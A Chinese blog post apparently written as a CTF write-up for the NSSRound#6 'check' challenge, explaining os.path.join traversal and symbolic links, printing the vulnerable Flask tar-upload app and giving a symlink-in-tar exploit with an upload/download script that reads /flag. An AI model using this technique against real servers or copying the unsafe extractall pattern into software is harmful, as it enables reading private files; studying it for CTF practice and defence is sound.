nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[NSSRound#6 Team]check(V1)

总结

做这个题主要学习软硬链接,而且在ctf中解压也经常和软连接一起考,下面从本题来了解一下

前置知识

os.path.join目录穿越漏洞(当然本题不会利用)
这个特性指的是如果在使用os.path.join函数拼接路径时,某个路径以 / 开头,那么它之前的所有路径将会被丢弃,这样这个路径就变成了绝对路径。
让我们通过一个简单的示例来说明这个特性:

import os

base_path = '/usr'
sub_path = '/local/bin'
result = os.path.join(base_path, sub_path)
print(result)

在这个例子中,base_path 是 '/usr',sub_path 是 '/local/bin'。根据 os.path.join 的规则,由于 sub_path 以 / 开头,它将被视为绝对路径,因此会丢弃 base_path,最终的拼接结果是 '/local/bin'。

软链接

软链接(Symbolic Link),也被称为符号链接或软连接,是一种特殊类型的文件,用于创建一个指向另一个文件或目录的引用。

与硬链接不同,软链接是一个包含目标文件或目录路径的特殊文件。当你打开软链接时,操作系统会根据链接中保存的路径信息找到目标文件或目录。软链接可以跨越不同的文件系统,并且可以链接到任何类型的文件或目录。
什么意思,就是我访问软链接时,它会帮我自动切换目录

创建方法
在命令行中,你可以使用 ln -s 命令来创建软链接,例如:

ln -s /path/to/target /path/to/link

这将在 /path/to/link 处创建一个名为 link 的软链接,指向 /path/to/target 文件或目录。
例如,如果 /flag 是一个文件,那么可以通过如下命令来创建一个软链接:

ln -s /flag flag

这将在当前目录下创建一个名为 "flag" 的软链接,指向 /flag 文件。这样,在当前目录下使用 "flag" 就相当于直接使用 /flag 文件。

做题

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

简单解释一下代码,首先是allowed_file模块就是一个对文件后缀是否是tar的检测,规定只能上传tar文件

@app.route('/upload', methods=['POST'])
这部分就是文件上传,主要是有后缀和..和/的判断,就是避免你使用os.path.join的目录穿越漏洞,然后最后去解压文件

@app.route('/download', methods=['POST'])
这个和上部分大同小异,就是去读文件,返回文件内容

我们先搞一个软链接

ln -s /flag flag
tar -cvf flag.tar flag

放在自己桌面
再写一个文件上传的脚本

import requests as req

url = "http://node5.anna.nssctf.cn:28547/"
filename = r"C:\Users\86135\Desktop\lll.tar"#自己的文件地址
def upload(url ,fileName):
    url = url + "upload"
    file = {"file":open(fileName,'rb')}
    response = req.post(url=url, files=file)
    print(response.text) 

def download(url):
    url = url+"download"
    file = {"filename":"flag"}
    response = req.post(url, data=file)
    print(response.text)
if __name__ == "__main__":
    upload(url,filename)
    download(url)

理解了原理最难的就是脚本的编写

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [NSSRound#6 Team]check(V1)

评论